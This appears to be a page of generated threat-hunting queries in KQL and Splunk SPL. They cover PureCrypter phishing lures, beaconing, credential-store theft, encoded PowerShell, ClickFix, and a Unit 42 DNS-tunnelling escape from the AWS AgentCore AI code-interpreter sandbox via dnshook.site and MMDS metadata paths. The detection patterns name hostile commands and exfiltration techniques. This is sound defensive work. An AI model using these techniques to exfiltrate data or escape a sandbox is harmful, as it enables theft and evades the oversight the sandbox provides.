Rationale: The article explicitly calls out Pure's distribution method: 'targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files' and the EDM/invoice-substitution objective. Detection pivots on those accounting-keyword filenames in mail/archive drop paths plus PureCrypter's signature .NET sideload-into-MSBuild/RegAsm/InstallUtil chain — neither of which is matched by generic 'Office spawns script' or encoded PowerShell rules. Cross-checked Kaspersky ICS-CERT Q4 2025 report (confirms accounting lures + GitHub stage delivery), eSentire and Check Point Pure family analyses (confirm MSIL crypter and trusted-utility hollowing).
Cross-checked against:
• https://ics-cert.kaspersky.com/publications/reports/2026/03/06/apt-and-financial-attacks-on-industrial-organizations-in-q4-2025/
• https://www.esentire.com/blog/pure-crypter-malware-analysis-99-problems-but-detection-aint-one
• https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/
• https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter
ATT&CKT1566.001T1204.002T1027.013T1055.012T1140
Data sourcesEndpoint.FilesystemEndpoint.Processes
let lure = DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileRenamed")
| where FolderPath has_any (@"\Content.Outlook\", @"\Downloads\", @"\AppData\Local\Temp\", @"\AppData\Roaming\")
| where FileName matches regex @"(?i)(fatura|boleto|nf-?e|nota[ _-]?fiscal|invoice|recibo|comprovante|or[cç]amento|contrato|pedido|cobran[cç]a)"
| where FileName endswith_cs ".exe" or FileName endswith_cs ".scr" or FileName endswith_cs ".lnk" or FileName endswith_cs ".iso" or FileName endswith_cs ".img" or FileName endswith_cs ".zip" or FileName endswith_cs ".rar" or FileName endswith_cs ".7z"
| project DropTime=Timestamp, DeviceId, DeviceName, AccountName, DroppedFile=FileName, DropPath=FolderPath, DropParent=InitiatingProcessFileName, DropSHA256=SHA256;
let pureExec = DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("outlook.exe","thunderbird.exe","winrar.exe","7zg.exe","7zfm.exe","explorer.exe")
or ProcessVersionInfoOriginalFileName has "PureCrypter"
| where (FileName endswith ".exe" or FileName endswith ".scr")
or ProcessCommandLine has_any ("MSBuild.exe","RegAsm.exe","InstallUtil.exe","aspnet_compiler.exe","csc.exe","jsc.exe")
or ProcessVersionInfoOriginalFileName has_any ("PureCrypter","PureRAT","PureLogs","PureHVNC")
| project ExecTime=Timestamp, DeviceId, ProcName=FileName, ProcCmd=ProcessCommandLine, ProcParent=InitiatingProcessFileName, ProcSHA256=SHA256, OriginalFileName=ProcessVersionInfoOriginalFileName;
lure
| join kind=inner pureExec on DeviceId
| where ExecTime between (DropTime .. DropTime + 1h)
| project DropTime, ExecTime, DeviceName, AccountName, DroppedFile, DropPath, DropParent, ProcName, ProcCmd, OriginalFileName, DropSHA256, ProcSHA256
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_name) as file_name values(Filesystem.file_path) as file_path values(Filesystem.process_name) as drop_proc from datamodel=Endpoint.Filesystem where Filesystem.action=created AND (Filesystem.file_path="*\\Content.Outlook\\*" OR Filesystem.file_path="*\\Downloads\\*" OR Filesystem.file_path="*\\AppData\\Local\\Temp\\*" OR Filesystem.file_path="*\\AppData\\Roaming\\*") AND (Filesystem.file_name="*fatura*" OR Filesystem.file_name="*boleto*" OR Filesystem.file_name="*nfe*" OR Filesystem.file_name="*nota_fiscal*" OR Filesystem.file_name="*nota-fiscal*" OR Filesystem.file_name="*invoice*" OR Filesystem.file_name="*recibo*" OR Filesystem.file_name="*comprovante*" OR Filesystem.file_name="*orcamento*" OR Filesystem.file_name="*orçamento*" OR Filesystem.file_name="*contrato*" OR Filesystem.file_name="*pedido*" OR Filesystem.file_name="*NF-e*") AND (Filesystem.file_name="*.exe" OR Filesystem.file_name="*.scr" OR Filesystem.file_name="*.lnk" OR Filesystem.file_name="*.iso" OR Filesystem.file_name="*.img" OR Filesystem.file_name="*.zip" OR Filesystem.file_name="*.rar" OR Filesystem.file_name="*.7z") by Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | join type=inner dest user [ | tstats summariesonly=true count from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("OUTLOOK.EXE","outlook.exe","thunderbird.exe","winrar.exe","7zg.exe","7zfm.exe","explorer.exe")) AND (Processes.process_name="*.exe" OR Processes.process_name="*.scr") AND (Processes.process="*MSBuild.exe*" OR Processes.process="*RegAsm.exe*" OR Processes.process="*InstallUtil.exe*" OR Processes.process="*aspnet_compiler.exe*" OR Processes.process="*csc.exe*" OR Processes.original_file_name="*PureCrypter*" OR Processes.process_name="PureCrypter*") by Processes.dest Processes.user Processes.process Processes.parent_process Processes.parent_process_name | `drop_dm_object_name(Processes)` ] | `security_content_ctime(firstTime)`
2026-04-0711 use cases4 techniques5 kill-chain phases detected
Unit 42 uncovers critical vulnerabilities in Amazon Bedrock AgentCore's sandbox, demonstrating DNS tunneling and credential exposure. The post Cracks in the Bedrock: Escaping the AWS AgentCore Sandbox appeared first on Unit 42 .
CVEsCVE-2025-55182
ATT&CKT1059.001T1190T1195.002T1555.003
Domainsdnshook.sitemy-secret.dnshook.site
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration. → Asset exposure — vulnerability matches article CVE(s) · [LLM] AgentCore microVM MMDS access to undocumented aws_presigned-log-url / kms-key tag paths
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · DNS tunneling / TXT-heavy domain queries · [LLM] AWS AgentCore Code Interpreter DNS tunneling to dnshook.site / high-entropy subdomains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("dnshook.site", "my-secret.dnshook.site")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("dnshook.site", "my-secret.dnshook.site")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("dnshook.site", "my-secret.dnshook.site")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
DNS tunneling / TXT-heavy domain queriesCommand & ControlMedium
Long subdomain labels + frequent queries to a single 2LD = DNS C2/exfil.
ATT&CKT1071.004T1048.003
Data sourcesNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 53 and isnotempty(RemoteUrl)
| extend qlen = strlen(RemoteUrl)
| where qlen > 50
| extend SecondLevelDomain = extract(@"([\w-]+\.[a-zA-Z]{2,})$", 1, RemoteUrl)
| summarize qcount = count(), uniqueSubs = dcount(RemoteUrl), maxLabel = max(qlen)
by DeviceName, SecondLevelDomain
| where qcount > 100 and uniqueSubs > 20
| order by qcount desc
| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.message_type="QUERY"
by DNS.src, DNS.query
| `drop_dm_object_name(DNS)`
| eval qlen=len(query)
| where qlen > 50
| rex field=query "(?<second_level_domain>[\w-]+\.[\w-]+)$"
| stats sum(count) AS qcount, dc(query) AS unique_subs, max(qlen) AS max_label
by src, second_level_domain
| where qcount > 100 AND unique_subs > 20
| sort - qcount
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] AWS AgentCore Code Interpreter DNS tunneling to dnshook.site / high-entropy subdomainsCommand & ControlHigh
Hunts for DNS queries leaving Amazon Bedrock AgentCore Code Interpreter sandboxes that match the Unit 42 PoC pattern (label-encoded data prepended to a controlled domain) — specifically resolutions of *.dnshook.site or long randomized labels resolved via socket.gethostbyname_ex from sandboxed Python. Article-specific because Sandbox mode is supposed to have no external access, so any non-AWS-service DNS egress from these microVMs is anomalous.
Rationale: Pulls the literal domain dnshook.site published by Unit 42 as the PoC C2 sink, plus the structural fingerprint of the PoC (long base64-style first label appended to controlled domain, resolved via socket.gethostbyname_ex from sandbox). Cross-checked against BeyondTrust and Sonrai write-ups confirming DNS A/AAAA resolution to arbitrary domains is the abuse primitive; AWS confirmed sandbox permits DNS resolution and will not be patched, only documented — so any *.dnshook.site or random long-label egress from an AgentCore microVM is high-fidelity malicious.
Cross-checked against:
• https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/
• https://www.beyondtrust.com/blog/entry/pwning-aws-agentcore-code-interpreter
• https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/
• https://nvd.nist.gov/vuln/detail/CVE-2025-55182
• https://www.technadu.com/aws-bedrock-sandbox-vulnerability-allows-dns-bypass-no-patch-available/623579/
ATT&CKT1071.004T1048.003T1611
Data sourcesNetwork_Resolution.DNS
// Requires AWS Route53/VPC DNS logs ingested via Sentinel AWS connector or CloudAppEvents
let agentcoreSources = dynamic(["AmazonBedrock-AgentCore","AgentCore-CodeInterpreter","AgentCore-Runtime"]);
CloudAppEvents
| where Application has_any ("AWS","Amazon Web Services")
| where ActionType in ("DnsQuery","Route53ResolverQuery")
| extend query = tostring(RawEventData.queryName), src = tostring(RawEventData.srcIds)
| where src has_any (agentcoreSources) or RawEventData.vpcEndpointId has "agentcore"
| extend firstLabel = tostring(split(query, ".")[0])
| where query endswith "dnshook.site"
or (strlen(firstLabel) >= 20 and firstLabel matches regex @"^[A-Za-z0-9+/=_-]+$"
and not(query endswith ".amazonaws.com") and not(query endswith ".amazon.com") and not(query endswith ".aws.dev"))
| summarize Queries=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp), sample=any(query) by src, RawEventData.queryName
| sort by Queries desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(DNS.answer) as answers values(DNS.src) as src from datamodel=Network_Resolution where (DNS.src_category="aws_agentcore" OR DNS.src="169.254.169.253" OR DNS.vendor_product="AWS Route53 Resolver") AND (DNS.query="*.dnshook.site" OR (len(DNS.query)>60 AND DNS.query!="*.amazonaws.com" AND DNS.query!="*.aws.dev" AND DNS.query!="*.amazon.com")) by DNS.query DNS.src DNS.record_type | `drop_dm_object_name(DNS)` | eval label=mvindex(split(query,"."),0) | eval label_len=len(label) | where label_len>=20 AND match(label,"^[A-Za-z0-9+/=_-]+$") | sort - count
[LLM] AgentCore microVM MMDS access to undocumented aws_presigned-log-url / kms-key tag pathsReconnaissanceHigh
Hunts for code inside an AgentCore Code Interpreter or Runtime microVM that reads the two undocumented MMDS tag endpoints Unit 42 used to discover the egress channel: /latest/meta-data/tags/instance/aws_presigned-log-url and /aws_presigned-log-kms-key. Legitimate AgentCore agent code has no documented reason to read these tags, so reads are a strong indicator of an attacker (or compromised agent) doing the same recon walk before attempting DNS-tunnel exfiltration.
Rationale: The two MMDS tag paths (aws_presigned-log-url, aws_presigned-log-kms-key) are explicitly named by Unit 42 as undocumented endpoints whose discovery enabled the sandbox-escape hypothesis; legitimate agent code has no business reading them. Combined with detection of MMDSv1-style GETs (no X-aws-ec2-metadata-token header) — the regression behind CVE-2025-55182 corroborated by NVD and AWS's Feb 14 2026 migration to MMDSv2 — this is high-fidelity for an attacker reproducing the Unit 42 chain.
Cross-checked against:
• https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/
• https://nvd.nist.gov/vuln/detail/CVE-2025-55182
• https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/
• https://www.beyondtrust.com/blog/entry/pwning-aws-agentcore-code-interpreter
ATT&CKT1552.005T1580T1213
Data sourcesWeb.WebEndpoint.ProcessesEndpoint.Filesystem
// On hosts running AgentCore SDK / Strands locally, OR via Defender for Cloud cloud-workload telemetry
let mmdsPaths = dynamic(["/latest/meta-data/tags/instance/aws_presigned-log-url","/latest/meta-data/tags/instance/aws_presigned-log-kms-key","/latest/meta-data/tags/instance/"]);
union isfuzzy=true
(DeviceNetworkEvents
| where RemoteIP == "169.254.169.254"
| where RequestUrl has_any (mmdsPaths) or RequestUrl has "aws_presigned-log"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RequestUrl, RemoteIP),
(DeviceProcessEvents
| where (ProcessCommandLine has "169.254.169.254" and ProcessCommandLine has_any ("aws_presigned-log-url","aws_presigned-log-kms-key","tags/instance"))
or (InitiatingProcessCommandLine has_any ("socket.gethostbyname_ex","dnshook.site") and ProcessCommandLine has "python")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine)
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.user_agent) as ua values(Web.src) as src from datamodel=Web where Web.dest="169.254.169.254" AND (Web.url="*tags/instance/aws_presigned-log-url*" OR Web.url="*tags/instance/aws_presigned-log-kms-key*" OR Web.url="*latest/meta-data/tags/instance/*") by Web.src Web.url Web.http_method Web.http_user_agent | `drop_dm_object_name(Web)` | eval mmds_v1_no_token=if(http_method="GET" AND NOT match(http_user_agent,"(?i)x-aws-ec2-metadata-token"),1,0) | where mmds_v1_no_token=1 OR match(url,"aws_presigned-log")
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft)
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
